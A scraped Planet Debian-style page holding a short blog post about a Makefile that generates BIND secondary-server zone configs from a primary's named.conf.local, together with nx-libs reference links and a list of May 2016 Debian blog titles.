[6] https://github.com/sunweaver/nx-libs/tree/wip/libnx-x11-full-removal
[7] https://github.com/sunweaver/nx-libs/tree/pr/composite-0_4
[8] https://github.com/ArcticaProject/nx-libs/pull/111
[9] https://github.com/ArcticaProject/nx-libs/pull/119
[10] https://github.com/ArcticaProject/nx-libs/pull/102
[11] https://github.com/ArcticaProject/nx-libs/pull/106
[12] https://github.com/ArcticaProject/nx-libs/pull/120
[13] https://github.com/sunweaver/nx-libs/commit/9692e6a7045b3ab5cb0daaed187e... (include NX'ish code into Xserver)
[14] https://github.com/sunweaver/nx-libs/commit/3d359bfc2b6d021c1ae9c6e19e96... (include Xserver code into NX*.c)
[15] https://github.com/sunweaver/nx-libs/commit/af72ee5624a15d21c610528e37b6... (use weak symbols and non-static symbols)
[16] https://github.com/sunweaver/nx-libs/commit/7205bb8848c49ee3e78a82fde906... (override symbols with interceptions)
[17] http://www.baur-itcs.de/20-x2go/20-x2gosupport/

I ve recently been setting up more monitoring etc to increase the reliability of servers I run. One ongoing issue with computer reliability is any case where a person enters the same data in multiple locations, often people make mistakes and enter slightly different data which can give bad results. For DNS you need to have at least 2 authoritative servers for each zone. I ve written the below Makefile to extract the zone names from the primary server and generate a config file suitable for use on a secondary server. The next step is to automate this further by having the Makefile copy the config file to secondary servers and run rndc reload . Note that in a typical Debian configuration any user in group bind can write to BIND config files and reload the server configuration so this can be done without granting the script on the primary server root access on the secondary servers. My blog replaces the TAB character with 8 spaces, you need to fix this up if you want to run the Makefile on your own system and also replace 10.10.10.10 with the IP address of your primary server. all: other/secondary.conf other/secondary.conf: named.conf.local Makefile
for n in $$(grep ^zone named.conf.local cut -f2 -d\" sort) ; do echo "zone \"$$n\" \n type slave;\n file \"$$n\";\n masters 10.10.10.10; ;\n ;\n" ; done > other/secondary.conf

Search Results: "cas"

26 May 2016

Norbert Preining: Shotwell vs. digiKam

25 May 2016

Petter Reinholdtsen: Isenkram with PackageKit support - new version 0.23 available in Debian unstable

24 May 2016

Alberto Garc a: I/O bursts with QEMU 2.6

22 May 2016

Reproducible builds folks: Reproducible builds: week 56 in Stretch cycle

Antonio Terceiro: Adopting pristine-tar

19 May 2016

Matthew Garrett: Your project's RCS history affects ease of contribution (or: don't squash PRs)

Petter Reinholdtsen: I want the courts to be involved before the police can hijack a news site DNS domain (#domstolkontroll)

17 May 2016

Reproducible builds folks: Reproducible builds: week 55 in Stretch cycle

Raphaël Hertzog: Freexian s report about Debian Long Term Support, April 2016

16 May 2016

Steinar H. Gunderson: stretch on ODROID XU4

Russ Allbery: Review: Gentleman Jole and the Red Queen

15 May 2016

Bits from Debian: What does it mean that ZFS is included in Debian?

Norbert Preining: Foreigners in Japan are evil

14 May 2016

Thadeu Lima de Souza Cascardo: Chromebook Trackpad

Gunnar Wolf: Debugging backdoors and the usual software distribution for embedded-oriented systems

12 May 2016

Antoine Beaupr : Notmuch, offlineimap and Sieve setup

Ingo Juergensmann: Xen randomly crashing server - part 2

10 May 2016

Reproducible builds folks: Reproducible builds: week 54 in Stretch cycle

9 May 2016

Mike Gabriel: Recent progress in NXv3 development

Russell Coker: BIND Configuration Files